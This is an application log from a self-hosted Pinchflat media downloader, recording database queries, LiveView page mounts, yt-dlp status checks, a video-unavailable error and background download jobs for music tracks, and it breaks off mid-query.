22:20:03.978 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:03.978 [debug] QUERY OK source="sources" db=179.2ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:03.979 [debug] QUERY OK source="settings" db=0.2ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:03.979 [debug] QUERY OK source="media_items" db=0.4ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 22:20:03.979 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:03.979 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:03.980 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=dfwMShnhm9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0c/fd/0cfd15d4d048a171dba875b459f09a3c9cf2cc8ea5c2cb1fb2e488af960b217d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:03.980 [debug] QUERY OK source="media_items" db=0.5ms idle=1.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:03.980 [debug] QUERY OK source="sources" db=0.1ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:03.981 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 22:20:03.981 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:03.982 [debug] QUERY OK source="sources" db=0.1ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:03.982 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [4] 22:20:03.982 [debug] QUERY OK source="media_items" db=0.3ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:03.983 [info] Sent 200 in 249ms 22:20:04.118 [info] CONNECTED TO Phoenix.LiveView.Socket in 20µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "OQZpAx0SBXMfJ1MpNj1mEGdZWwllOA0mPkZ4tZl2tAgyTpWF73oz6LZe", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:20:04.152 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 4} 22:20:04.153 [debug] QUERY OK source="sources" db=0.3ms idle=171.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:04.153 [debug] QUERY OK source="media_items" db=0.2ms idle=172.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 22:20:04.154 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=171.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:04.154 [debug] Replied in 1ms 22:20:04.155 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 4} 22:20:04.155 [debug] QUERY OK source="sources" db=0.1ms idle=173.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:04.156 [debug] QUERY OK source="media_items" db=0.1ms idle=173.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 22:20:04.156 [debug] QUERY OK source="media_items" db=0.1ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:04.156 [debug] Replied in 1ms 22:20:04.158 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 4} 22:20:04.158 [debug] QUERY OK source="sources" db=0.1ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:04.158 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [4] 22:20:04.159 [debug] QUERY OK source="media_items" db=0.3ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 22:20:04.159 [debug] Replied in 1ms 22:20:04.252 [debug] Current batch of media processed. Will check again in 1000ms 22:20:04.495 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nDead Memory (feat. Jake Luhrs) · Fit for a King · Jake Luhrs\n\nDeathgrip\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-10-07\n\nAuto-generated by YouTube.", "duration" => 253, "filename" => "/downloads/ChristianMetal/ChristianMetal/2016-10-06Dead Memory (feat. Jake Luhrs)[Vz4djMTVIoA].NA", "id" => "Vz4djMTVIoA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Vz4djMTVIoA", "playlist_index" => 18, "timestamp" => 1475754754, "title" => "Dead Memory (feat. Jake Luhrs)", "upload_date" => "20161006"} 22:20:04.518 [debug] QUERY OK source="sources" db=22.9ms queue=0.1ms idle=339.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:04.519 [debug] QUERY OK source="sources" db=0.4ms idle=362.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:04.520 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=361.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-10-06 11:52:34Z], 5] 22:20:04.718 [debug] QUERY OK source="media_items" db=196.9ms idle=362.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nDead Memory (feat. Jake Luhrs) · Fit for a King · Jake Luhrs\n\nDeathgrip\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-10-07\n\nAuto-generated by YouTube.", "Dead Memory (feat. Jake Luhrs)", "19afa0f1-8923-4549-8f48-44df8aa33764", false, "Vz4djMTVIoA", 253, false, "https://www.youtube.com/watch?v=Vz4djMTVIoA", 18, "/downloads/ChristianMetal/ChristianMetal/2016-10-06Dead Memory (feat. Jake Luhrs)[Vz4djMTVIoA].NA", false, false, 5, [], 2, ~U[2016-10-06 11:52:34Z], ~U[2026-07-24 02:20:04Z], ~U[2026-07-24 02:20:04Z], "Provided to YouTube by The Orchard Enterprises\n\nDead Memory (feat. Jake Luhrs) · Fit for a King · Jake Luhrs\n\nDeathgrip\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-10-07\n\nAuto-generated by YouTube.", "Dead Memory (feat. Jake Luhrs)", "Vz4djMTVIoA", 253, false, "https://www.youtube.com/watch?v=Vz4djMTVIoA", "/downloads/ChristianMetal/ChristianMetal/2016-10-06Dead Memory (feat. Jake Luhrs)[Vz4djMTVIoA].NA", false, 5, ~U[2016-10-06 11:52:34Z]] 22:20:04.719 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=559.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:04.720 [debug] QUERY OK source="media_profiles" db=0.4ms idle=201.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:04.721 [debug] QUERY OK source="media_items" db=0.7ms idle=201.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [184] 22:20:04.721 [info] Kicking off download for media item #184 (Vz4djMTVIoA) 22:20:04.729 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kT3eHvwlytw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2c/25/2c25cc65dfb845ef968867798b444b05a68e5c3c57bb870cc498e020d467d18f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] kT3eHvwlytw: Video unavailable. This video is not available 22:20:04.729 [error] yt-dlp download error for media item #176: "ERROR: [youtube] kT3eHvwlytw: Video unavailable. This video is not available\n" 22:20:04.729 [error] yt-dlp download will not be retried: "ERROR: [youtube] kT3eHvwlytw: Video unavailable. This video is not available\n" 22:20:04.983 [debug] QUERY OK source="tasks" db=156.3ms idle=105.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [190, 184, ~U[2026-07-24 02:20:04Z], ~U[2026-07-24 02:20:04Z]] 22:20:04.983 [debug] Current batch of media processed. Will check again in 1000ms 22:20:05.225 [info] {"args":{"id":176},"id":186,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4636225,"event":"job:stop","queue_time":778714,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:05.254 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "backup of these videos that got taken down:\nhttps://www.youtube.com/watch?v=X-WZ2QeJd64\nhttps://www.youtube.com/watch?v=T6fqtJbVoFI\n\nbackground image:\nhttps://drive.google.com/file/d/1wd657U4MSq7LB8EP8GGpQd8Uvr9zOgJL/view\n\ndownload (mp4, h265):\nhttps://drive.google.com/file/d/1rjH_FHiJE2owK3jQp9WChA_UQV9JXMQe/view\n\ndownload (mp3, LAME3.100):\nhttps://drive.google.com/file/d/1DM_ApORFwSGz1hfjaOjhWMKmgPhWHq0-/view", "duration" => 272, "filename" => "/downloads/Classics/Classics/2021-04-03Neon Genesis Evangelion - Fly Me To The Moon (Asuka, Rei & Misato)[ckHvM3eEX0w].m4a", "id" => "ckHvM3eEX0w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ckHvM3eEX0w", "playlist_index" => 1, "timestamp" => 1617461799, "title" => "Neon Genesis Evangelion - Fly Me To The Moon (Asuka, Rei & Misato)", "upload_date" => "20210403"} 22:20:05.356 [info] {"args":{"id":180},"id":188,"meta":{},"system_time":1784859605356074412,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:05.356 [debug] QUERY OK source="media_items" db=0.1ms idle=529.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [180] 22:20:05.356 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:05.356 [debug] QUERY OK source="sources" db=0.1ms idle=373.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", 